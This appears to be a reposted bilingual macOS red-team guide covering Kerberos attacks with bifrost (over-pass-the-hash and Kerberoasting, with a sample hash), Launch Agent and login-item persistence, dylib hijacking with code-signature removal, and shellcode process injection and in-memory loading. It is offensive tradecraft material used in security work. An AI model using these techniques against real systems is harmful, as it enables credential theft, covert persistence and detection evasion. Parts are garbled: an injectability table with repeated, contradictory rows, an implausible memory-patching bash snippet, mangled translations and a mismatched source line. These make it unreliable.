实际应用:HealthInspector 协助侦查、识别持久性机会、了解系统配置以及评估 macOS 系统的安全态势。
Commands and Usage 命令和用法
# Clone HealthInspector repository
git clone https://github.com/its-a-feature/HealthInspector.git
# Execute HealthInspector from the command line
osascript HealthInspector.js
# Upload HealthInspector to Mythic's apfell agent
jsimport HealthInspector.js
# Call specific functions in Mythic's apfell agent
jsimport_call Persistent_Dock_Apps();
jsimport_call Finder_Preferences();
jsimport_call Launch_Services();
jsimport_call User_Launchagents();
jsimport_call Installed_Software_Versions();
jsimport_call Recent_Files();
jsimport_call Firewall();
jsimport_call OS_Version();
jsimport_call SMB_Server();
jsimport_call Network_Connectivity();
-
Functionality: HealthInspector provides functions to extract various types of information from macOS systems, including application preferences, system configurations, network details, and recent activity logs.
-
Preference Files: By reading preference files, HealthInspector retrieves information about dock applications, Finder preferences, launch services, installed software versions, recent files, firewall settings, OS version, SMB server details, and network connectivity.
-
Insights: The extracted data offers insights into user behavior, system usage patterns, and potential security vulnerabilities.
-
Integration: HealthInspector can be integrated with Mythic’s apfell agent for centralized management and execution of commands across multiple systems.
集成:HealthInspector 可以与 Mythic 的 apfell 代理集成,用于跨多个系统集中管理和执行命令。
Generating Shared Secrets and Accessing Computer$ Password
In macOS red team operations, generating shared secrets and accessing sensitive information such as computer$ passwords are crucial for privilege escalation and lateral movement. This guide explores techniques and commands for generating shared secrets and accessing computer$ passwords on macOS systems.
Generating Shared Secrets
Shared secrets are essential for authenticating users and systems across networks. The bifrost
utility provides a straightforward method for generating shared secrets in macOS environments.
bifrost --action askhash --username [name] --password [password] --domain [domain]
Optional: Use --bpassword
to supply the base64-encoded password.
Accessing Computer$ Password
The computer$ password, used for network authentication, is stored securely in the SYSTEM keychain on macOS systems. Accessing this password requires elevated privileges.
Command and Usage:
To access the computer$ password, follow these steps:
-
Elevate Privileges: Gain elevated privileges on the macOS system.
-
Access SYSTEM Keychain: Navigate to the SYSTEM keychain, which stores computer$ passwords.
- Path:
/Active Directory/[NETBIOS NAME]
- Path:
Over-Pass-The-Hash
Over-Pass-The-Hash (OPTH) is a technique used in macOS red team operations to obtain Kerberos Ticket-Granting Tickets (TGTs) using only a user’s password hash. This guide explores the OPTH technique and demonstrates how to manually create Kerberos traffic to acquire TGTs on macOS systems.
OPTH Method
OPTH involves manually creating Kerberos traffic to port 88 on the Domain Controller (DC) to obtain TGTs. This process is similar to the functionality provided by tools like Rubeus. The bifrost
utility facilitates the creation of Kerberos traffic and acquisition of TGTs on macOS systems.
bifrost --action asktgt --username [user] --domain [domain.com]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
-
Admin permissions are not required; only the user’s password hash or keytab file is necessary.
不需要管理员权限;只需要用户的密码哈希或密钥表文件。 -
The
asktgt
action requests a TGT for the specified user from the domain controller.
asktgt
操作从域控制器请求指定用户的 TGT。 -
The
hash
parameter specifies the user’s password hash, and theenctype
parameter defines the encryption type.
hash
参数指定用户的密码哈希,enctype
参数定义加密类型。 -
Optionally, a keytab file can be provided instead of the hash.
或者,可以提供密钥表文件而不是哈希。
Injecting Tickets and Obtaining Service Tickets
注入工单和获取服务工单
Once the TGT is obtained, it can be injected into the current session using the bifrost
utility with the ptt
action. Alternatively, the TGT can be passed to the asktgs
action to acquire service tickets for remote computers.
获得 TGT 后,可以使用带有 ptt
操作的 bifrost
实用程序将其注入到当前会话中。或者,可以将 TGT 传递给 asktgs
操作,以获取远程计算机的服务票证。
bifrost --action asktgt --username test_lab_admin
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78
--enctype aes256 --domain test.lab.local
Kerberoasting
Kerberoasting is a technique used in macOS red team operations to extract and crack Service Tickets, which are encrypted with the account’s password hash. This guide explores Kerberoasting and demonstrates how to leverage tickets on macOS systems for reconnaissance and lateral movement.
Kerberoasting 是 macOS 红队操作中使用的一种技术,用于提取和破解服务票证,这些票证使用帐户的密码哈希进行加密。本指南探讨了 Kerberoasting,并演示了如何在 macOS 系统上利用票证进行侦测和横向移动。
Kerberoasting Method Kerberoasting方法
In Kerberoasting, any authenticated account in the domain can request a Service Ticket, which grants access to various services offered by accounts in Active Directory. These tickets are encrypted with the account’s password hash, allowing red team operators to guess and crack the password. The bifrost
utility facilitates the request for Service Tickets, with options to request specific hash types for easier cracking.
在 Kerberoasting 中,域中任何经过身份验证的帐户都可以请求服务票证,该票证授予对 Active Directory 中帐户提供的各种服务的访问权限。这些工单使用帐户的密码哈希进行加密,允许红队操作员猜测并破解密码。bifrost
实用程序有助于请求服务票证,并提供请求特定哈希类型的选项,以便于破解。
bifrost --action asktgs --spn [service] --domain [domain.com]
--username [user] --hash [hash] --enctype [enctype]
-
The
asktgs
action requests a Service Ticket for the specified service (identified by Service Principal Name) from the domain controller.
asktgs
操作从域控制器请求指定服务(由服务主体名称标识)的服务票证。 -
The
spn
parameter specifies the service for which the ticket is requested.
spn
参数指定请求票证的服务。 -
The
hash
parameter specifies the user’s password hash, and theenctype
parameter defines the encryption type.
hash
参数指定用户的密码哈希,enctype
参数定义加密类型。
Leveraging Tickets on macOS
在 macOS 上利用 Tickets
Once Service Tickets are obtained, red team operators can leverage them for reconnaissance and lateral movement on macOS systems.
一旦获得服务票证,红队操作员就可以利用它们进行侦察和在macOS系统上进行横向移动。
- Use
smbutil
to list available shares on a remote computer.
使用smbutil
列出远程计算机上的可用共享。
smbutil view //computer.fqdn
Mount remote SMB shares using the mount
command.
使用 mount
命令挂载远程 SMB 共享。
mount -t smbfs //server/folder /local/mount/point
User Level Persistence with Launch Agents
使用 Launch Agent 实现用户级持久性
Launch Agents are a form of user-level persistence in macOS environments. They are background processes that execute while the user is logged in, defined by property list files. This guide explores the concept of Launch Agents and demonstrates how to create and manage them for user-level persistence in macOS.
Launch Agent 是 macOS 环境中用户级持久性的一种形式。它们是在用户登录时执行的后台进程,由属性列表文件定义。本指南探讨了 Launch Agent 的概念,并演示了如何在 macOS 中创建和管理它们以实现用户级持久性。
Understanding Launch Agents
了解启动代理
Launch Agents reside in property list files located in specific directories such as /System/Library/LaunchAgents
, /Library/LaunchAgents
, or /Users/user/Library/LaunchAgents/
. They execute applications or scripts in the context of the user, providing persistence by running tasks or services continuously or at specific intervals.
Launch Agent 位于位于特定目录(如 /System/Library/LaunchAgents
、/Library/LaunchAgents
或 /Users/user/Library/LaunchAgents/
)中的属性列表文件中。它们在用户的上下文中执行应用程序或脚本,通过连续或按特定时间间隔运行任务或服务来提供持久性。
-
Identifying Errors: Use
launchctl list
to determine the error code if a launch agent fails to load. Then, retrieve the error string withlaunchctl error ERROR_CODE
.
识别错误:使用launchctl list
确定启动代理加载失败时的错误代码。然后,检索带有launchctl 错误ERROR_CODE的
错误字符串。 -
Launch Agent Keys: Key components of Launch Agent property lists include:
启动代理密钥:启动代理属性列表的关键组件包括:-
Label
: Unique identifier for the agent.
标签
:代理的唯一标识符。 -
ProgramArguments
: Arguments used to launch the agent.
ProgramArguments
:用于启动代理的参数。 -
KeepAlive
: Determines if the agent runs continuously or on demand.
KeepAlive
:确定代理是连续运行还是按需运行。 -
StartInterval
: Sets the interval for the agent to execute.
StartInterval
:设置代理执行的时间间隔。 -
WatchPaths
: Defines paths to monitor for changes triggering execution.
WatchPaths
:定义要监视触发执行的更改的路径。 -
RunAtLoad
: Starts the agent when the property list is loaded by launchd.
RunAtLoad
:当 launchd 加载属性列表时启动代理。
-
Creating Launch Agents
Launch Agent property lists must adhere to the launchd format. Apple’s documentation provides examples and guidelines for creating Launch Agents, ensuring they function correctly within the macOS environment.
Launch Agent 属性列表必须遵循 launchd 格式。Apple 的文档提供了创建启动代理的示例和指南,确保它们在 macOS 环境中正常运行。
- Examples: Refer to Apple’s official documentation for examples and guidelines on creating Launch Agents: Creating Launchd Jobs
User Level Persistence with Login Items
Login items are applications configured to run automatically once a user logs in to their macOS system. They provide a form of user-level persistence, ensuring that specified applications or processes start up seamlessly with each login. This guide explores the concept of login items and demonstrates how to establish user-level persistence using different methods and commands in macOS.
Understanding Login Items
Login items are commonly used by legitimate applications to provide users with a streamlined experience by automatically launching essential tools or services upon login. From a red team perspective, login items can be leveraged to ensure that malicious processes persist across user sessions, allowing for continued access and activity within macOS environments.
登录项通常由合法应用程序使用,通过在登录时自动启动基本工具或服务来为用户提供简化的体验。从红队的角度来看,可以利用登录项来确保恶意进程在用户会话中持续存在,从而允许在 macOS 环境中继续访问和活动。
Apple recommends specific methods for managing login items programmatically in macOS:
Apple 推荐了在 macOS 中以编程方式管理登录项的特定方法:
-
SMLoginItemSetEnabled: Part of the Service Management Framework, this method accepts the bundle ID of the application and a Boolean value to enable or disable the login item.
SMLoginItemSetEnabled:作为服务管理框架的一部分,此方法接受应用程序的捆绑 ID 和布尔值以启用或禁用登录项。 -
LSSharedFileListInsertItemURL: This method, part of the Launch Services Framework, offers more customization options such as specifying the icon, path, and list order of the login item.
LSSharedFileListInsertItemURL:此方法属于启动服务框架,提供更多自定义选项,例如指定登录项的图标、路径和列表顺序。 -
System Events (Deprecated): Previously used for managing login items, this method is now deprecated and not recommended for new development.
系统事件(已弃用):以前用于管理登录项,此方法现已弃用,不建议用于新开发。 -
CFPreferences (Deprecated): Another deprecated method for managing preferences, including login items.
Folder Action Scripts 文件夹操作脚本
Folder Action Scripts provide a method for establishing user-level persistence in macOS environments by executing scripts in response to changes made to specified folders. This guide explores the concept of Folder Action Scripts, their location, configuration, and the commands used to manage them effectively for red team operations.
文件夹操作脚本提供了一种在 macOS 环境中建立用户级持久性的方法,方法是执行脚本以响应对指定文件夹所做的更改。本指南探讨了文件夹操作脚本的概念、它们的位置、配置以及用于有效管理它们以进行红队操作的命令。
Folder Action Scripts are scripts that execute automatically in response to specific events, such as file additions, deletions, or modifications within designated folders. These scripts are typically stored in predefined directories such as /Library/Scripts/Folder Action Scripts
or ~/Library/Scripts/Folder Action Scripts
. Red team operators can leverage Folder Action Scripts to ensure that malicious actions or processes are triggered in response to user interactions with selected folders.
文件夹操作脚本是为响应特定事件而自动执行的脚本,例如指定文件夹中的文件添加、删除或修改。这些脚本通常存储在预定义的目录中,例如 /Library/Scripts/Folder Action Scripts
或 ~/Library/Scripts/Folder Action Scripts
。红队操作员可以利用文件夹操作脚本来确保在响应用户与选定文件夹的交互时触发恶意操作或进程。
Dylib Insertion/Hijack Dylib 插入/劫持
Dylib insertion and hijacking are techniques employed by red team operators to gain persistence and execute malicious code within macOS environments. By manipulating dynamic libraries (dylibs) and application binaries, attackers can backdoor applications, inject malicious code, and exploit vulnerabilities to maintain unauthorized access and control over target systems. This guide delves into the concepts of dylib insertion and hijacking, providing commands and codes for their implementation.
Dylib 插入和劫持是红队操作员用来在 macOS 环境中获得持久性并执行恶意代码的技术。通过操纵动态库 (dylibs) 和应用程序二进制文件,攻击者可以对应用程序进行后门程序、注入恶意代码并利用漏洞来维持对目标系统的未经授权的访问和控制。本指南深入探讨了 dylib 插入和劫持的概念,并提供了实现它们的命令和代码。
Dylib Insertion
Dylib insertion involves modifying application binaries to include load commands that reference malicious dynamic libraries. These load commands, such as LC_LOAD_WEAK_DYLIB or LC_LOAD_DYLIB, specify the path to the dylib and instruct the system to load it when the application is executed. The following steps outline the process of dylib insertion:
-
Download the Application Binary: Obtain the target application’s binary file (e.g.,
Application.app/Contents/MacOS/application
).
下载应用程序二进制文件:获取目标应用程序的二进制文件(例如Application.app/Contents/MacOS/application
)。 -
Backdoor the Application: Inject load commands referencing the malicious dylib into the application binary.
应用程序后门:将引用恶意 dylib 的加载命令注入到应用程序二进制文件中。 -
Specify Dylib Path: Ensure the load command includes the full path to the malicious dylib.
指定 dylib 路径:确保 load 命令包含恶意 dylib 的完整路径。 -
Remove Code Signature: Remove the LC_CODE_SIGNATURE load command and associated data from the modified header to evade detection.
删除代码签名:从修改后的标头中删除 LC_CODE_SIGNATURE load 命令和关联数据,以逃避检测。 -
Use Tools for Modification: Utilize macOS’s
otool
or open-source tools likeinsert_dylib
to perform the binary modification process.
使用修改工具:利用 macOS 的otool
或insert_dylib
等开源工具来执行二进制修改过程。
https://github.com/Tyilo/insert_dylib
Dylib Hijacking Dylib 劫持
Dylib hijacking exploits vulnerabilities in the library loading mechanism of macOS applications. Attackers leverage improper search order or attempts to load nonexistent libraries to execute malicious code. However, macOS Catalina’s hardened runtime imposes restrictions on loading unsigned libraries, making dylib hijacking more challenging. Key points regarding dylib hijacking include:
Dylib劫持利用macOS应用库加载机制中的漏洞。攻击者利用不正确的搜索顺序或尝试加载不存在的库来执行恶意代码。但是,macOS Catalina 的强化运行时对加载未签名的库施加了限制,使 dylib 劫持更具挑战性。关于 dylib 劫持的要点包括:
-
Types of Dylibs: Dylibs indicated in Mach-O Headers via LC_LOAD_* commands, where LC_LOAD_DYLIB represents required dylibs, and LC_LOAD_WEAK_DYLIB denotes optional dylibs.
Dylibs 的类型:通过 LC_LOAD_* 命令在 Mach-O Headers 中指示 Dylibs,其中 LC_LOAD_DYLIB 表示必需的 dylibs,LC_LOAD_WEAK_DYLIB 表示可选的 dylibs。 -
Ownership of Applications: The potential applicability of dylib hijacking depends on the ownership of the target application. Applications installed via different methods (e.g., dragged to /Applications, App Store, package installers) have varying ownership permissions.
应用程序的所有权:dylib 劫持的潜在适用性取决于目标应用程序的所有权。通过不同方法安装的应用程序(例如,拖动到 /Applications、App Store、包安装程序)具有不同的所有权权限。
Evasion Techniques with XPC on macOS
在 macOS 上使用 XPC 的规避技术
XPC (Cross-Process Communication) is a powerful mechanism used for inter-process communication on macOS, facilitated by Grand Central Dispatch (GCD) and launchd. It allows applications to expose capabilities via XPC services, enabling communication between different processes while maintaining security and resource isolation. However, XPC can also be leveraged for evasion and stealthy operations in a red team context.
XPC(Cross-Process Communication)是一种强大的机制,用于macOS上的进程间通信,由Grand Central Dispatch(GCD)推动并启动。它允许应用程序通过 XPC 服务公开功能,从而实现不同进程之间的通信,同时保持安全性和资源隔离。然而,在红队背景下,XPC也可以被用于规避和隐蔽行动。
Understanding XPC 了解 XPC
XPC leverages GCD to manage thread execution and task parallelism efficiently. Applications utilize XPC services to expose functionalities to other processes. Traditionally, inter-process communication required obtaining Task/Mach ports to other processes, but XPC abstracts this complexity and provides a more secure communication mechanism.
XPC 利用 GCD 高效管理线程执行和任务并行性。应用程序利用 XPC 服务将功能公开给其他进程。传统上,进程间通信需要获取到其他进程的 Task/Mach 端口,但 XPC 将这种复杂性抽象化,并提供了更安全的通信机制。
- XPoCE by Jonathan Levin: XPoCE is a tool designed to hook
xpc_dictionary_get*
functions, allowing monitoring and analysis of XPC messages as they traverse between processes. It facilitates debugging by printing messages exchanged on the wire. However, dumping XPC messages for third-party applications requires System Integrity Protection (SIP) to be disabled.
Jonathan Levin 的 XPoCE:XPoCE 是一种工具,旨在挂接xpc_dictionary_get*
函数,允许在进程之间遍历 XPC 消息时监控和分析它们。它通过打印在线路上交换的消息来促进调试。但是,转储第三方应用程序的 XPC 消息需要禁用系统完整性保护 (SIP)。
xpc_copy_description [xpc_message] # Converts XPC messages to human-readable strings
-
Tracing XPC Messages: On systems with SIP disabled, one can attach to
launchd
(process ID 1) and trace XPC dictionary messages using XPoCE. Commands likelaunchctl list
can be issued to observe the format and content of XPC messages.
跟踪 XPC 消息:在禁用了 SIP 的系统上,可以附加到launchd
(进程 ID 1)并使用 XPoCE 跟踪 XPC 字典消息。可以发出像 launchctl list
这样的命令来观察 XPC 消息的格式和内容。 -
Alternative Tools: Jonathan Levin has extensively reverse-engineered
launchd
andlaunchctl
to develop alternative tools like jlaunchctl. These tools offer insights into the internal workings of XPC and facilitate advanced operations.
替代工具:乔纳森·莱文(Jonathan Levin)对launchd
和launchctl
进行了广泛的逆向工程,以开发像jlaunchctl这样的替代工具。这些工具提供了对 XPC 内部运作的洞察,并促进了高级操作。
launchctl list
- Identifying Third-Party XPC Services: Third-party XPC services can be identified by searching for XPC-related processes and inspecting launch daemon/agent directories for
MachServices
.
识别第三方 XPC 服务:可以通过搜索 XPC 相关进程和检查MachServices
的启动守护进程/代理目录来识别第三方 XPC 服务。
ps aux | grep XPC
grep "MachServices" /path/to/launch/daemon/or/agent/directory/*
Process Injection on macOS
macOS 上的流程注入
Process injection is a technique used in red team operations to inject malicious code into a legitimate process, thereby evading detection and executing unauthorized actions on a target system. On macOS, process injection involves obtaining access to a target process, allocating memory within its address space, writing shellcode to the allocated memory, modifying memory protection, and executing the injected shellcode.
进程注入是红队操作中使用的一种技术,用于将恶意代码注入合法进程,从而逃避检测并在目标系统上执行未经授权的操作。在 macOS 上,进程注入涉及获取对目标进程的访问权限、在其地址空间中分配内存、将 shellcode 写入分配的内存、修改内存保护以及执行注入的 shellcode。
Process Injection Steps
- Obtain Mach Task Port: Access the target process’s Mach task port (handle) using the
task_for_pid()
function or other API functions likeprocessor_set_tasks()
andpid_for_task()
. Note thattask_for_pid()
requires thecom.apple.security
.cs.debugger
entitlement and is only applicable to unsigned or third-party apps.
task_for_pid
Allocate Memory: Allocate memory within the target process’s address space using the mach_vm_allocate()
API function and obtain the address to that memory space.
mach_vm_allocate
- Write Shellcode: Write the shellcode to the allocated memory space of the target process using
mach_vm_write()
.
mach_vm_write
- Modify Memory Protection: Modify the memory protection of the target process’s memory space to be executable using
mach_vm_protect()
.
mach_vm_protect
- Execute Shellcode: Execute the injected shellcode in the target process using
thread_create_running()
.
thread_create_running
Jonathan Levin has released proof-of-concept code demonstrating process injection on macOS. The provided code injects shellcode into a target process using the dlopen
function to load a dynamic library (dylib) into the target process.
http://newosxbook.com/src.jl?tree=listings&file=inject.c
The injectability of a target application depends on various factors such as whether System Integrity Protection (SIP) and Hardened Runtime are enabled, the presence of specific entitlements, and the application’s code signing status. The table below summarizes the injectability of target applications based on different scenarios:
SIP Enabled | Hardened Runtime Enabled | com.apple.security.get-task-allow | Injectability |
YES | NO | NO | NO |
YES | YES | YES (for 3rd party apps) | YES |
YES | YES | YES (for 3rd party apps) | YES |
YES | YES | YES (for 3rd party apps) | YES |
NO | YES | N/A | YES |
In-Memory Loading on macOS
macOS 上的内存中加载
In-memory loading is an evasion technique used by red teams on macOS to load and execute malicious code directly from memory without writing it to disk. This method allows attackers to bypass traditional security measures like file-based detection and enables the execution of arbitrary code within the context of a legitimate process.
内存中加载是 macOS 上的红队使用的一种规避技术,用于直接从内存加载和执行恶意代码,而无需将其写入磁盘。这种方法允许攻击者绕过传统的安全措施,如基于文件的检测,并允许在合法进程的上下文中执行任意代码。
In-Memory Loading Process
内存中加载过程
-
NSCreateObjectFileImageFromMemory: This function is used to create an object file image from memory. However, it typically works only for “bundles” due to the filetype check performed by macOS.
NSCreateObjectFileImageFromMemory:此函数用于从内存创建对象文件图像。但是,由于 macOS 执行的文件类型检查,它通常仅适用于“捆绑包”。 -
Manipulating Mach-O Header: The Mach-O header contains a
uint32_t
field that defines the filetype. By modifying this field in memory, attackers can fake out the function call and load other file types such as Dylibs, Mach-O Executables, and Bundles.
操作 Mach-O 标头:Mach-O 标头包含定义文件类型的uint32_t
字段。通过在内存中修改此字段,攻击者可以伪造函数调用并加载其他文件类型,例如 Dylibs、Mach-O Executables 和 Bundles。 -
Modifying Mach-O Header: The Mach-O header field is located 12 bytes offset from the beginning of the file. Attackers overwrite the real value in memory with
0x08
, tricking macOS into loading the injected code.
修改 Mach-O 头文件:Mach-O 头字段位于文件开头 12 个字节的偏移处。攻击者用0x08
覆盖内存中的实际值,诱使 macOS 加载注入的代码。 -
Execution of Arbitrary Functions: Once the code is loaded into memory, attackers can execute any function within it, even if it’s not exported. However, function names are mangled to a specific format (
__Z + len(func_name) + func_name + v
), making it essential to know the correct format for the desired function.
执行任意函数:一旦代码被加载到内存中,攻击者就可以执行其中的任何函数,即使它没有被导出。但是,函数名称被修改为特定格式 (__Z + len(func_name) + func_name + v
),因此了解所需函数的正确格式至关重要。
In-memory loading allows the execution of code written in various programming languages, including Objective-C, Swift, Golang, C, etc. This versatility enables attackers to leverage a wide range of tools and techniques for their malicious activities.
Caveats
- Process Permissions: The current process must allow the loaded code to execute. For example, certain binaries like
osascript
may not allow in-memory loading.
# Example of modifying Mach-O header to fake out NSCreateObjectFileImageFromMemory function call
# Note: This is a simplified example for demonstration purposes
# Obtain the memory address of the Mach-O header
header_address=$(grep -aobU "\x12\x34\x56\x78" /path/to/process_memory | awk -F: '{print $1}')
# Modify the Mach-O header to fake out the filetype check
printf '\x08' | dd of=/path/to/process_memory bs=1 seek=$(($header_address + 12)) count=1 conv=notrunc
Resources 资源
-
Adversary Tactics: Mac Tradecraft, Specter Ops
对手战术:Mac Tradecraft、Spectre Ops
原文始发于Reza Rashidi:web选手入门pwn(17) ——2024年春秋杯夏季赛pwn